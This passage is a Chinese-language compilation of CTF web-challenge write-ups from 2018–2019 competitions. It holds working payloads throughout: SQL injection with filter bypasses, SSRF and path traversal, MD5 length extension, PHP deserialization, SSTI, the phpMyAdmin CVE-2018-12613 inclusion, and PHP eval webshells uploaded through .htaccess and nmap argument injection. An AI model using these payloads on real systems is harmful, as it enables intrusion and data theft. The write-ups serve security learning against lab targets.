本题需要绕过第一层和第二层的域名判断，并且在经历一次 idna 编码后的第三层中又要符合 host 名为 `suctf.cc` ，idna 的例子如下。

```python
print('ⓒ'.encode('idna').decode('utf-8'))
# c
```

因此可以通过版权符号来绕过第一层和第二层的绕过并且又符合 host 名为 `suctf.cc` 。又因为题目中包含提示 `Do you know the nginx` 故需要从 nginx 的相关文件中来找 flag ，最后可以在 `/usr/local/nginx/conf/nginx.conf` 中找到相关信息，Payload 以及回显如下所示。

```nginx
# url=file://suctf.cⓒ/../../../../../../../../usr/local/nginx/conf/nginx.conf

server { 
    listen 80; 
    location / { 
        try_files $uri @app; 
    } 
    location @app { 
        include uwsgi_params; 
        uwsgi_pass unix:///tmp/uwsgi.sock; 
    } 
    location /static {
        alias /app/static; 
    } 
    # location /flag { 
    #     alias /usr/fffffflag; 
    # } 
}
```

通过构造以下 Payload 即可得到 flag 。

```
url=file://suctf.cⓒ/../../../../../../../../usr/fffffflag
```


# De1CTF 2019

## Web

### SSRF Me

```python
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 
reload(sys) 
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)


class Task: 
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
            
    def Exec(self): 
        result = {} 
        result['code'] = 500
        if (self.checkSign()): 
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
                else: 
                    result['code'] = 500
                    result['msg'] = "Sign Error"
                return result
            
    def checkSign(self): 
        if (getSign(self.action, self.param) == self.sign): 
            return True 
        else: 
            return False #generate Sign For Action Scan. 
        

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) # 将 param 的参数解码为原始的字符串形式，若为空则为空字符串
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/') 
def index(): 
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try: 
        return urllib.urlopen(param).read()[:50] # 只返回URL内容的前50个字符
    except: 
        return "Connection Timeout" 

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): 
    return hashlib.md5(content).hexdigest()

def waf(param): 
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True 
    else: 
        return False 
    
if __name__ == '__main__': 
    app.debug = False
    app.run(host='0.0.0.0',port=80)
```

可以获得一个 Hint `flag is in ./flag.txt` ，目标就是要通过上述代码中的 Task::Exec 将 `flag.txt` 写入 `result.txt` 再读取 `result.txt` 获得 flag 。由于判断语句是通过 in 关键字来判断的，因此如果 `self.action` 中既有 read 也有 scan 即可同时执行。

首先需要通过 `checkSign()` ，先利用 `getSign()` 生成 Sign 可以得到 `md5(secert_key + param + action)` 。通过构造 Payload 如下

```
/geneSign?param=flag.txtread
```

即可得到 action 为 `readscan` 的 Sign ，如下

```
278aeedb3970f05c3fef9a85aaf08244
```

然后构造 Payload 如下来使得 `flag.txt` 写入 `result.txt` 再读取 `result.txt` 。

```
[GET]param=flag.txt
[Cookie]action=readscan;sign=278aeedb3970f05c3fef9a85aaf08244
```

就可以得到 flag 了，也可以通过 MD5 长度拓展攻击解决这道题，先获取 `md5(secert_key + flag.txt + scan)` 的值，构造 Payload 如下

```
/geneSign?param=flag.txt
```

可以得到回显如下

```
a62c5d4965f4123788ba12dceef01014
```

通过 `secert_key = os.urandom(16)` 可知 secert\_key 长 16 位，通过 hashpump 进行生成 Payload，如下

```shell
$ hashpump
Input Signature: a62c5d4965f4123788ba12dceef01014
Input Data: scan
Input Key Length: 24
Input Data to Add: read
c151ad5274e2e828bc2eb58f76e2a506
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
```

就可以求出 `md5(secert_key + flag.txt + scan + padding + read)` 的值，通过构造 Payload 如下

```
[GET]param=flag.txt
[Cookie]sign=c151ad5274e2e828bc2eb58f76e2a506;action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
```

即可得到 flag。


# SWPUCTF 2019

## Web

### Web1

注册账号并登陆后能够 申请发布广告 ，在广告申请中的广告名输入

```
-1' order by 1#
```

回显 `标题含有敏感词汇` ，通过测试可以发现 `or` 、`and` 、 `空格` 、 `join`

先判断列数，通过逐步判断直到

```
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

可以得到回显如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FxhKc8JnL2Mmsn8kv73j2%2FWeb1-1.png?alt=media&amp;token=5f32ca53-0571-4eaf-a0ac-22320d59c2cb" alt=""><figcaption></figcaption></figure>

可以得出字段有 22 列，并且 2 和 3 是可以进行注入攻击的。

通过构造 Payload 如下

```
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

可以得出数据库名为 `Web1` ，但是由于 `or` 被过滤了，所以也需要绕过 `information_schema` 库。

通过构造 Payload 如下

```
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/
sys.schema_table_statistics_with_buffer/**/where/**/table_schema=Web1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

得到回显 `Table 'sys.schema_table_statistics_with_buffer' doesn't exist` ，那就得换另一种方法力，通过构造 Payload 如下

```
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

得到所有表名 `ads, users` ，尝试无列名注入。

> <https://zhuanlan.zhihu.com/p/98206699>

通过构造 Payload 如下

```
-1'/**/union/**/select/**/1,(select/**/group_concat(a.1)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

-1'/**/union/**/select/**/1,(select/**/group_concat(a.1)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

得到回显 `The used SELECT statements have a different number of columns` ，直到如下 Payload

```
-1'/**/union/**/select/**/1,(select/**/group_concat(a.1)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

得到回显 `1,1,2,3` ，那就继续查看第二列，构造 Payload 如下

```
-1'/**/union/**/select/**/1,(select/**/group_concat(a.2)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

得到回显 `2,flag,admin,1` ，看到 flag 了，那就继续康康第三列，构造 Payload 如下

```
-1'/**/union/**/select/**/1,(select/**/group_concat(a.3)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
```

得到回显如下

```
3,flag{81dda3bd-2651-4353-8d11-53c5c3842ec5},53e217ad4c721eb9565cf25a5ec3b66e,c4ca4238a0b923820dcc509a6f75849b
```

就得到 flag 了。


# ZJCTF 2019

## Web

### NiZhuanSiWei

#### **题目**

```php
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
```

#### **伪协议**

题目中使用 `file_get_contents($text,'r')` ，因此想到使用伪协议进行传入。

将 `welcome to the zjctf` 进行 base64 编码可以得到 `d2VsY29tZSB0byB0aGUgempjdGY=`

构造 payload `text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=` 即可绕过第一个 if 判断

通过 `useless.php` 可以得知存在该文件，并且存在文件包含，故尝试使用 `file://` 伪协议来获取 `useless.php` 的源代码，即构造 pyaload `text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=php://filter/read=convert.base64-encode/resource=useless.php` 。进行 base64 解码后可以得到 `useless.php` 的源代码

```php
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
```

#### **反序列化**

```php
$password = unserialize($password);
echo $password;
```

可以发现 `echo $password;` 会触发 `__tostring()` 魔法函数，先进行序列化的构造

```php
<?php
class Flag{  //flag.php
  public $file;

  public function __construct() {
    $this->file = "php://filter/read=convert.base64-encode/resource=flag.php";
  }

  public function __tostring() {
    if (isset($this->file)) {
      echo file_get_contents($this->file);
      echo "<br>";
      return ("U R SO CLOSE !///COME ON PLZ");
    }
  }
}

echo serialize(new Flag());
```

可以得到 `O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}`

通过构造 payload `text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}` 就可以得到 flag.php 的内容如下

```php
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
	return ("flag{fc224e21-fd69-4f3c-937f-b67ee5edccdb}");
}

?>
```

那么这题就解答完毕力！


# RoarCTF 2019

## Web

### Easy Java

这是一道关于 Java WEB 的题目，通过点击 Help 按钮跳转到 `/Download?filename=help.docx` 会回显 `java.io.FileNotFoundException:{help.docx}`

#### **WEB-INF**

WEB-INF 是 Java 的 web 应用的安全目录，属于敏感目录，目录结构（模拟）如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FNuUX0Nbb59bks1rKTrFk%2Feasyjava-3.png?alt=media&amp;token=1447ac2f-c090-49e0-9318-a81ec1bc2b23" alt=""><figcaption></figcaption></figure>

因此可以尝试 payload `filename=WEB-INF/web.xml` ，发现无法得到内容，尝试使用 POST 进行传入，可以得到以下内容

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FFZ1bMgRsTPvzf4o8M5uQ%2Feasyjava-1.png?alt=media&amp;token=d8c63804-f14e-41e0-84fd-1b766c85e70e" alt=""><figcaption></figcaption></figure>

```xml
   <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>
```

通过使用 `/WEB-INF/classes/` 来找 flag 即可，构造 payload `filename=/WEB-INF/classes/com/wm/ctf/FlagController.class` 就可以得到 flag 了

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FjEWnjHeuzi1h8WP51eGo%2Feasyjava-2.png?alt=media&amp;token=4475147a-d2b9-43f3-a7dc-61eaa9651eee" alt=""><figcaption></figcaption></figure>


# GWCTF 2019

## Web

### 我有一个数据库

#### **目录搜索**

根据 dirsearch 可以得到 `/robots.txt、/phpmyadmin/index.php、/phpinfo.php、/phpmyadmin/ChangeLog、/phpmyadmin/README、/phpmyadmin/doc/html/index.html、/javascript、/index.html` 均为可访问文件。

#### **phpmyadmin 漏洞**

登录进入 phpmyadmin 可以发现可以直接进入，登录的账号为 test ，版本为 4.8.1，根据百度查找可以发现该版本存在漏洞（CVE-2018-12613），该漏洞没有严格的进行过滤。

#### **漏洞内容**

```php
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) // target 不能为空
    && is_string($_REQUEST['target']) // target 必须为字符串
    && ! preg_match('/^index/', $_REQUEST['target']) // target 不能包含 index
    && ! in_array($_REQUEST['target'], $target_blacklist) // target 不能在黑名单内
    && Core::checkPageValidity($_REQUEST['target']) // checkPageValidity 为真
) {
    include $_REQUEST['target'];
    exit;
}
```

checkPageValidity 函数内容如下

```php
public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}
```

$goto\_whitelist 变量内容如下

```php
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
```

#### **信息获取**

获取数据库所在路径

```sql
show global variables like "%datadir%";
```

#### **获取 Flag**

因为 checkPageValidity() 函数进行了一次 urldecode() 函数进行转义，但是并没有多次进行过滤，因此可以它通过两次对 ? 进行编码为 %253f 后即可进行绕过

构造 payload `target=db_sql.php%253f/../../../../../../flag` 即可获得 flag


# GXYCTF 2019

## Web

### BabyUpload

通过上传图片在 Request 中修改文件名为 `123.php` 并修改内容为 `<?php eval($_POST['data']); ?>` 发现回显为“后缀名不能有ph！”，尝试修改大小写发现也不行，根据 Response Header 中的 openresty 可以推断出 Web 服务器用的是 Nginx，尝试使用 `.htaccess` 绕过，上传类型如果为 `image/png` 则会提示图片太露骨，需要修改为 `image/jpeg` 。

```htaccess
<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>
```

回显提示 `.htaccess` 上传成功后，尝试上传图片马 `<?php eval($_POST['data']); ?>` 后提示“诶，别蒙我啊，这标志明显还是php啊”，故修改为 `<script language="php">eval($_POST['data']);</script>` 后提示上传成功，通过蚁剑直通根目录找到了 flag

### BabySQli

构造 payload `user=1'&pw=1` 回显报错，发现注释里面包含字符串，先通过 base64 解密发现不行后尝试 base32 解密，解密后发现末尾“==”的特征后进行 base64 解密可以获得 `select * from user where username = '$name'` 。

通过输入可以判断 or、=、() 被过滤了，因此就通过 `oRder by` 来康康它有多少个字段，通过一直到 `1' oRder by 4#` 报错消失，所以推断出字段有 3 个。

构造 payload `name=1' union select 1,'admin','1'#&pw=1` 回显 wrong pass!，说明用户名对了但密码错误了，尝试用 md5 加密 1 后重新构造 payload `name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1` 尝试康康能不能成功，结果没想到成功得到了 flag。


# WesternCTF 2018

## Web

### shrine

```python
import flask import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/')
def index(): 
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{<div data-gb-custom-block data-tag="set"></div>}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine)) 

if __name__ == '__main__': 
    app.run(debug=True)
```

通过分析代码可以得知 flag 在 config 里面，但是 config 和 self 都被列入了黑名单，所以需要通过其他方式来获取全局变量，Payload 如下

```
{{url_for.__globals__['current_app'].config}}
```


# HCTF 2018

## Web

### admin

首先通过注册账号进行信息收集，可以在 `/change` 页面发现提示

```html
 <!-- https://github.com/woadsl1234/hctf_flask/ -->
```

通过关键词 flask 可以明白这题需要 SSTI 模板注入，接下来就是找注入口，但由于这个 Github 链接无法访问，通过在 Github 搜索可以发现别人的 [Fork](https://github.com/Wkh19/hctf_flask) 。

其中可以在 `routes.py` 文件中的可以发现以下函数

```python
def strlower(username):
    username = nodeprep.prepare(username)
    return username
```

该函数在注册时候调用，其中的`nodeprep.prepare()` 的作用则是将在 `register()` 函数中将 Unicode字符 `ᴬ` 转换成 `A` ，而 `A` 在 `change()` 函数中调用 `nodeprep.prepare()` 函数会把 `A` 转换成 `a` 。

因此我们使用 `ᴬdmin` 注册并登录后修改密码后退出登录后用修改后的密码登录 `admin` 即可得到 flag


# 护网杯 2018

## Web

### easy\_tornado

可以获得三个信息

1. flag in /fllllllllllllag
2. render
3. md5(cookie\_secret+md5(filename))
4. `/file?filename=/hints.txt&filehash=a80a87f16b53b615041eb1662300f6ff`

结合题目可以发现是 SSTI 注入攻击，在 Error 页面发现了可注入变量 msg

`http://e5f14720-a920-4249-b329-2b8a871f9a6d.node4.buuoj.cn:81/error?msg={{1}}`

通过 msg 变量获取 tornado 模板的 cookie\_secret 值，即构造 payload `msg={{handler.settings}}` 即可获得 cookie\_secret 值 `c5a970de-a479-405e-aad4-2f4212d9596c` 之后通过编写 PHP 代码

```php
<?php echo md5('c5a970de-a479-405e-aad4-2f4212d9596c'.md5('/fllllllllllllag')) ?>
```

即可获得 filehash 值 `935bb7616e76314e48487e6e96a2a4ab` ，通过构造 payload `filename=/fllllllllllllag&filehash=935bb7616e76314e48487e6e96a2a4ab` 即可获取到 flag


# 网鼎杯 2018

## Web

### Fakebook

进入题目先查看源代码以及 Network 发现并没有什么可利用信息，尝试注册和登录发现也没有什么，于是尝试对题目进行一轮 dirsearch 扫描

```bash
$ python dirsearch.py -u http://f507614e-24b1-456e-8dba-b8f2cccb47f8.node4.buuoj.cn:81/
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FWCwJp3SvvXV93BhLud0v%2Ffakebook-1.png?alt=media&amp;token=259e8b53-2700-4e95-bcf0-7b913f37449f" alt=""><figcaption></figcaption></figure>

可以发现 `/robots.txt` 存在，访问可以得到 `/user.php.bak`

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FhvopaIKIVDQ0tvRnWVzE%2Ffakebook-2.png?alt=media&amp;token=d44d5ed9-c101-41ea-a6be-b07c2e3aa538" alt=""><figcaption></figcaption></figure>

```php
<?php
​
​
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
​
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
​
    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }
​
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
​
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
​
}
```

注册一个账户后点击用户名可以进入到 `/view.php` 内并且存在一个参数 `no` ，尝试进行 SQL 注入，构造 payload `no=1'` 可以发现弹出报错，因此可以继续进行 SQL 注入。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fb0kMk0d2EkOFd138x7o8%2Ffakebook-3.png?alt=media&amp;token=5e1d3ecb-bbde-4ff3-9f27-f3587feb316c" alt=""><figcaption></figcaption></figure>

通过构造 1, 2, 3 可以发现 no 代表的是 用户 ID ，因此通过 `order by` 来判断表的字段数，构造 payload 直到 `no=1 order by 5#` 弹出报错说明字段数为 4 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FDnUdFsgAsry7h2LoFKz4%2Ffakebook-4.png?alt=media&amp;token=e6e28713-ed84-4191-b0e8-dbb6e39f2a78" alt=""><figcaption></figcaption></figure>

尝试构造 payload `no=1 union select 1,2,3,4#` 发现被过滤了，通过验证可以判断 union 和 select 同时出现时会触发过滤，尝试用 `/**/` 来代替空格发现过滤被消除了。通过构造 payload `no=-1 union/**/select 1,2,3,4#` 发现只有 2 能够回显，因此通过修改 2 进行注入攻击。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FLYnm8c56olaK4mirSyVZ%2Ffakebook-5.png?alt=media&amp;token=71f72372-5bf0-4824-81bb-73cefec64a2e" alt=""><figcaption></figcaption></figure>

通过构造 payload `no=-1 union/**/select 1,database(),3,4#` 可以得知数据库名为 `fakebook` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FEgtEou4Sp9rogvcGv1U6%2Ffakebook-6.png?alt=media&amp;token=1a724f87-27cd-4a0b-8906-d033dac4e118" alt=""><figcaption></figcaption></figure>

通过构造 payload `no=-1 union/**/select 1,user(),3,4#` 可以得知用户名为 `root` ，这也说明拥有最高权限。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F0oTQnQfZRIKBm0ujA7MC%2Ffakebook-7.png?alt=media&amp;token=c90be719-911c-47ff-b948-791f51313254" alt=""><figcaption></figcaption></figure>

因为最开始目录扫描以及之后的报错已知 `/flag.php` 的绝对路径为 `/var/www/html/flag.php` 因此使用 `load_file()` 函数就可以直接读取 `/flag.php` 的内容了，所以构造 payload `no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#` 就可以得到 flag 了。


# BUUCTF 2018

## Web

### Online Tool

```php
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
```

* REMOTE\_ADDR：表示发出请求的远程主机的 IP 地址
* X\_FORWARDED\_FOR：表示 HTTP 的请求端真实的 IP 地址
* `escapeshellarg()` ：把字符串转码为可以在 shell 命令里使用的参数
* `escapeshellcmd()` ：把字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义
* `chdir()` ：把当前的目录改变为指定的目录
* nmap：扫描站点的目录，寻找敏感文件
  * -sT：TCP 扫描
  * -T5：速度最快（牺牲部分准确性）
  * -Pn：使用 Ping 扫描，显式地关闭端口扫描，用于主机发现
  * \--host-timeout 2：等待时间 2 ms
  * -F：快速扫描
  * -oG：将命令和结果写进文件

通过分析可以得出需要绕过 `escapeshellarg()` 和 `escapeshellcmd()` 两个函数。通过 `-oG` 进行输出包含 shell 的文件，下面是示例：

```php
<?php
$host = "'shell -oG shell.php'";
echo $host.'<br>'; // 'shell -oG shell.php'
$host = escapeshellarg($host);
echo $host.'<br>'; // ''\''shell -oG shell.php'\'''
$host = escapeshellcmd($host);
echo $host.'<br>'; // ''\\''shell -oG shell.php'\\'''
```

```bash
$ nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''shell -oG shell.php'\\'''
# 输出文件名 shell.php\\
```

在 shell.php 后加上空格就可以使得文件名为 `shell.php` 了，payload `'<?php eval($_POST["data"]); ?> -oG shell.php '` 后再访问就可以发现 shell 上传成功了。

通过蚁剑连接 `http://xxx/f565ac1e9b5d20c5a41d0ba339fa528d/shell.php` 就可以在根目录找到 flag 了。


